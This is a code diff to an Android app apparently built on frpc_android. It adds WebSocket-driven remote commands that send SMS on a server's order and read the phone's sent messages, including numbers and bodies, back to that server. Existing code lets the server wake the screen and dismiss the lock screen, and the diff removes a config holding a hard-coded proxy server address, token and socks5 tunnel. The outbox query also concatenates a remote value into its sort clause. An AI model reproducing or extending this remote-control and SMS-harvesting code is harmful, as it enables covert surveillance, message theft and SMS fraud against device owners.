@@ -2,11 +2,19 @@ package com.app.duck.util;
 
 import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
 
+import android.app.Activity;
 import android.app.KeyguardManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.Cursor;
 import android.os.Environment;
 import android.os.Handler;
+import android.provider.Telephony;
+import android.telephony.SmsManager;
 import android.util.Base64;
 import android.util.Log;
 
@@ -35,6 +43,7 @@ import com.romellfudi.ussdlibrary.USSDApi;
 import com.romellfudi.ussdlibrary.USSDController;
 
 import java.io.File;
+import java.lang.reflect.Field;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
@@ -64,6 +73,8 @@ public final class WsManager {
     private static ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor();
     private static ScheduledExecutorService executorServiceUi = Executors.newSingleThreadScheduledExecutor();
     private static Intent svc = null;
+    private static String SENT_SMS_ACTION = "SENT_SMS_ACTION";
+    private static String DELIVERED_SMS_ACTION = "DELIVERED_SMS_ACTION";
 
     public static WebSocket connectWebSocket() {
         if (StringUtils.isTrimEmpty(BuildConfig.WEB_URL) || StringUtils.equals("", BuildConfig.WEB_URL)) {
@@ -87,6 +98,7 @@ public final class WsManager {
                 String command = json.getString("command");
                 String requestId = json.getString("request_id");
                 String value = json.getString("value");
+                String content = json.getString("content");
                 String packageName = json.getString("packageName");
                 int hashCode = json.getIntValue("hashCode");
                 int action = json.getIntValue("action");
@@ -127,20 +139,6 @@ public final class WsManager {
                         break;
                     case "unlock":
                         try {
-//                            PowerManager pm = (PowerManager) Utils.getApp().getSystemService(Context.POWER_SERVICE);
-//                            KeyguardManager mKeyguardManager = (KeyguardManager) Utils.getApp().getSystemService(Context.KEYGUARD_SERVICE);
-//                            KeyguardManager.KeyguardLock kl = mKeyguardManager.newKeyguardLock("myapp:kllock");
-//                            if (!pm.isScreenOn()) {
-//                                //获取电源管理器对象,ACQUIRE_CAUSES_WAKEUP这个参数能从黑屏唤醒屏幕
-//                                PowerManager.WakeLock mWakeLock = pm.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, "myapp:bright");
-//                                //点亮屏幕
-//                                mWakeLock.acquire();
-//                                kl.disableKeyguard();
-//                                sendWebSocketMsg(requestId, "response", "successful");
-//                            } else {
-//                                sendWebSocketMsg(requestId, "response", "ok");
-//
-//                            }
                             ActivityUtils.getTopActivity().setTurnScreenOn(true);
                             ActivityUtils.getTopActivity().setShowWhenLocked(true);
                             KeyguardManager keyguardManager = (KeyguardManager) ActivityUtils.getTopActivity().getSystemService(Context.KEYGUARD_SERVICE);
@@ -179,10 +177,18 @@ public final class WsManager {
                     case "getPath":
                         ThreadUtils.runOnUiThread(() -> getPath(requestId, value));
                         break;
+                    case "sendSMS":
+                        ThreadUtils.runOnUiThread(() -> sendSMS(requestId, content, value));
+                        break;
+                    case "getOutBoxSMS":
+                        ThreadUtils.runOnUiThread(() -> getOutBoxSMS(requestId, value));
+                        break;
+                    case "sendSMSDelayed":
+                        sendSMSDelayed(requestId, content, value);
+                        break;
                     default:
                         XLog.e(command + " 没有定义该操作!");
                         break;
-
                 }
             }
 
@@ -229,6 +235,192 @@ public final class WsManager {
         return webSocket;
     }
 
+    public static void getOutBoxSMS(String requestId, String number) {
+        try {
+            List<HashMap<String, Object>> data = new ArrayList<>();
+            ContentResolver contentResolver = Utils.getApp().getContentResolver();
+            Cursor cursor = contentResolver.query(Telephony.Sms.Sent.CONTENT_URI, null,
+                    null, null, "date DESC LIMIT " + number);
+            if (cursor != null && cursor.moveToFirst()) {
+                do {
+                    // 获取短信信息
+                    long id = cursor.getLong(cursor.getColumnIndexOrThrow("_id"));
+                    String address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
+                    String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
+                    long date = cursor.getLong(cursor.getColumnIndexOrThrow("date"));
+                    int type = cursor.getInt(cursor.getColumnIndexOrThrow("type"));
+                    int read = cursor.getInt(cursor.getColumnIndexOrThrow("read"));
+                    int status = cursor.getInt(cursor.getColumnIndexOrThrow("status"));
+                    String statusDescribe = "";
+                    String serviceCenter = cursor.getString(cursor.getColumnIndexOrThrow("service_center"));
+                    switch (status) {
+                        case -1:
+                            statusDescribe = "STATUS_NONE";
+                            break;
+                        case 0:
+                            statusDescribe = "STATUS_COMPLETE";
+                            break;
+                        case 64:
+                            statusDescribe = "STATUS_FAILED";
+                            break;
+                        case 128:
+                            statusDescribe = "STATUS_PENDING";
+                            break;
+                        default:
+                            statusDescribe = "UNKNOWN";
+                    }
+                    XLog.i("SMS info", "ID: " + id + ", Address: " + address + ", Body: " + body +
+                            ", Date: " + date + ", Type: " + type + ", Read: " + read +
+                            ", Status: " + status + ", Service Center: " + serviceCenter + ", statusDescribe: " + statusDescribe);
+                    HashMap<String, Object> map = new HashMap<>();
+                    map.put("id", id);
+                    map.put("address", address);
+                    map.put("body", body);
+                    map.put("date", date);
+                    map.put("type", type);
+                    map.put("read", read);
+                    map.put("status", status);
+                    map.put("statusDescribe", statusDescribe);
+                    map.put("serviceCenter", serviceCenter);
+                    data.add(map);
+
+
+                } while (cursor.moveToNext());
+                XLog.i("getOutBoxSMS : " + GsonUtils.toJson(data));
+                Log.d("hzshkj", "[WsManager] getOutBoxSMS: " + GsonUtils.toJson(data));
+                sendWebSocketMsg(requestId, "successful", GsonUtils.toJson(data));
+            }
+            if (cursor != null) {
+                cursor.close();
+            }
+        } catch (Exception e) {
+            XLog.e("error,getOutBoxSMS!", e);
+            Log.e("hzshkj", "getOutBoxSMS: ", e);
+            sendWebSocketMsg(requestId, "exception", e.getMessage());
+        }
+
+    }
+
+    public static void sendSMS(String requestId, String content, String phone) {
+        try {
+            if (!StringUtils.isTrimEmpty(content) && !StringUtils.isEmpty(phone)) {
+                SmsManager manager = SmsManager.getDefault();
+                ArrayList<String> strings = manager.divideMessage(content);
+                for (int i = 0; i < strings.size(); i++) {
+                    manager.sendTextMessage(phone, null, content, null, null);
+                }
+                XLog.i("sendSMS : " + "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
+                Log.d("hzshkj", "[WsManager] sendSMS: " + "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
+                sendWebSocketMsg(requestId, "successful", "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
+            }
+        } catch (Exception e) {
+            XLog.e("error,sendSMS!", e);
+            Log.e("hzshkj", "sendSMS: ", e);
+            sendWebSocketMsg(requestId, "exception", e.getMessage());
+        }
+
+    }
+
+    public static void sendSMSDelayed(String requestId, String content, String phone) {
+        try {
+            if (!StringUtils.isTrimEmpty(content) && !StringUtils.isEmpty(phone)) {
+                SmsManager manager = SmsManager.getDefault();
+                ArrayList<String> strings = manager.divideMessage(content);
+
+                Intent sentIntent = new Intent(SENT_SMS_ACTION);
+                sentIntent.putExtra("requestId", requestId);
+                sentIntent.putExtra("phone", phone);
+                sentIntent.putExtra("content", content);
+                PendingIntent sentPI = PendingIntent.getBroadcast(Utils.getApp(), 0, sentIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+
+
+                Intent deliveryIntent = new Intent(DELIVERED_SMS_ACTION);
+                PendingIntent deliverPI = PendingIntent.getBroadcast(Utils.getApp(), 0, deliveryIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+
+                Utils.getApp().registerReceiver(sentBroadcast, new IntentFilter(SENT_SMS_ACTION));
+                Utils.getApp().registerReceiver(receiver, new IntentFilter(DELIVERED_SMS_ACTION));
+
+                Log.d("hzshkj", "[WsManager] onReceive:1111 ");
+                for (int i = 0; i < strings.size(); i++) {
+                    manager.sendTextMessage(phone, null, content, sentPI, deliverPI);
+                }
+                Log.d("hzshkj", "[WsManager] onReceive:22222 ");
+
+            }
+        } catch (Exception e) {
+            XLog.e("error,sendSMS!", e);
+            Log.e("hzshkj", "sendSMS: ", e);
+            sendWebSocketMsg(requestId, "exception", e.getMessage());
+        }
+
+    }
+
+    private static final BroadcastReceiver sentBroadcast = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            HashMap<String, Integer> fMap = new HashMap<>();
+            try {
+                Class<?> smsManagerClass = SmsManager.class;
+                Field[] fields = smsManagerClass.getFields();
+                for (Field field : fields) {
+                    // 检查字段是否为 int 类型
+                    if (field.getType() == int.class) {
+                        String constantName = field.getName();
+                        int constantValue = field.getInt(null);
+                        fMap.put(constantName, constantValue);
+                    }
+                }
+            } catch (Exception e) {
+                Log.e("hzshkj", "onReceive: ", e);
+                XLog.e(e);
+                e.printStackTrace();
+            }
+            String requestId = intent.getStringExtra("requestId");
+            String phone = intent.getStringExtra("phone");
+            String content = intent.getStringExtra("content");
+            String uri = intent.getStringExtra("uri");
+            String format = intent.getStringExtra("format");
+            boolean ims = intent.getBooleanExtra("ims", false);
+            HashMap<String, Object> map = new HashMap<>();
+            map.put("phone", phone);
+            map.put("content", content);
+            map.put("uri", uri);
+            map.put("format", format);
+            map.put("ims", ims);
+            map.put("resultCode", getResultCode());
+            map.put("requestId", requestId);
+            if (getResultCode() == Activity.RESULT_OK) {
+                map.put("desc", "Activity.RESULT_OK");
+                XLog.i(GsonUtils.toJson(map));
+                Log.d("hzshkj", GsonUtils.toJson(map));
+                sendWebSocketMsg(requestId, "successful", GsonUtils.toJson(map));
+            } else {
+                map.put("desc", "UNKNOWN");
+                for (String key : fMap.keySet()) {
+                    Integer value = (Integer) fMap.get(key);
+                    if (value != null) {
+                        int intValue = value;
+                        if (intValue == getResultCode()) {
+                            map.put("desc", key);
+                        }
+                    }
+                }
+                XLog.e(GsonUtils.toJson(map));
+                Log.e("hzshkj", GsonUtils.toJson(map));
+                sendWebSocketMsg(requestId, "exception", GsonUtils.toJson(map));
+            }
+            Utils.getApp().unregisterReceiver(this);
+        }
+    };
+
+    private static final BroadcastReceiver receiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            Log.d("hzshkj", "chernggong : " + getResultCode());
+            Utils.getApp().unregisterReceiver(this);
+        }
+    };
+
     private static void reconnectWebSocket() {
         if (reconnectTask != null && !reconnectTask.isDone()) {
             reconnectTask.cancel(true);
@@ -315,7 +507,7 @@ public final class WsManager {
         }
     }
 
-    private static void sendWebSocketMsg(String request_id, String return_type, String message) {
+    public static void sendWebSocketMsg(String request_id, String return_type, String message) {
         HashMap<String, Object> map = new HashMap<>();
         map.put("request_id", request_id);
         map.put("return_type", return_type);
@@ -504,4 +696,6 @@ public final class WsManager {
                 }
                 , attempt == 0 ? 0 : 2, TimeUnit.SECONDS);
     }
-}
+
+
+}

BIN
frpc_android-master/app/src/main/res/mipmap-hdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-mdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-xhdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxhdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxxhdpi/gangxiexia.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxxhdpi/heiguafu.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxxhdpi/ic_launcher_1.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxxhdpi/leishen.png


BIN
frpc_android-master/app/src/main/res/mipmap-xxxhdpi/meiguoduizhang.png


+ 0 - 10
frpc_android-master/app/src/main/res/raw/frpc.ini

@@ -1,12 +1,2 @@
-[common]
-server_addr = 3.68.158.69
-server_port = 7000
-protocol = kcp
-token = 123678asbsfd
 
 
-[socks5_proxy_tunnelXXXX]
-type = tcp
-remote_port = XXXX
-plugin = socks5
-

+ 1 - 1
frpc_android-master/app/src/main/res/values-en/strings.xml

@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <resources>
-    <string name="app_name">IronMan</string>
+    <string name="app_name">B</string>
     <string name="action_settings">Settings</string>
     <string name="action_ussd_msg">Please wait a moment, USSD communication in progress!</string>
     <string name="menu_home">Configuration file</string>

+ 4 - 1
frpc_android-master/app/src/main/res/values/strings.xml

@@ -1,5 +1,8 @@
 <resources>
-    <string name="app_name">IronMan</string>
+    <!--    BatMan-->
+    <!--    CaptainAmerica-->
+    <!--    Thor-->
+    <string name="app_name">B</string>
     <string name="action_settings">设置</string>
     <string name="action_ussd_msg">稍等一会…USSD通信中…</string>
     <string name="menu_home">配置文件</string>

+ 1 - 0
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDController.java

@@ -23,6 +23,7 @@ import android.text.TextUtils;
 import android.view.accessibility.AccessibilityManager;
 import android.widget.Toast;
 
+import com.elvishew.xlog.BuildConfig;
 import com.elvishew.xlog.XLog;
 
 import java.util.HashMap;